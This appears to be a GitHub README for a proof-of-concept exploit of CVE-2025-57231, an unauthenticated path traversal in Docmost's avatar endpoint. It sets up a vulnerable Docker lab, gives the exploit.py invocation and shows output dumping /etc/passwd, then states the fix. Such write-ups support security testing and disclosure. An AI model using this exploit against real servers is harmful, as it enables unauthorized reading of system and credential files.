
Python PoC exploit for CVE-2025-57231, an unauthenticated path traversal in Docmost < 0.22.0 that reads arbitrary files via the avatar endpoint.
This repo contains a Proof of Concept(PoC) exploit for CVE-2025-57231.
This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.
A directory traversal vulnerability in Docmost allows arbitrary file read from version 0.2.1 to 0.21.0. The application's /api/attachments/img/avatar endpoint does not properly validate file paths and is publicly accessible without any authentication. This allows unauthenticated attackers to retrieve arbitrary file contents from the target by probing the /avatar endpoint with %2F sequences.
All Docmost versions from 0.2.1 until 0.21.0 are affected.
Prerequisites: Docker and Docker compose installed
mkdir docmost
cd docmost
curl -O https://raw.githubusercontent.com/docmost/docmost/main/docker-compose.yml
# Generate a long random secret key
openssl rand -hex 32
# Open the docker-compose.yml file and make the following changes:
# 1. Replace `image: docmost/docmost:latest` with `image: docmost/docmost:0.21.0`
# 2. Replace `APP_SECRET` with the random secret key generated above
sudo docker-compose up -d
Navigate to http://localhost:3000/ and enter dummy details for workspace name, name, email and password
git clone https://github.com/anirbala98/CVE-2025-57231.git
cd CVE-2025-57231/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location>
python exploit.py http://localhost:3000/ -f /etc/passwd
└─$ python exploit.py http://localhost:3000/ -f /etc/passwd
[*] Attempting to read arbitrary file
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
Upgrade the plugin to version 0.22.0.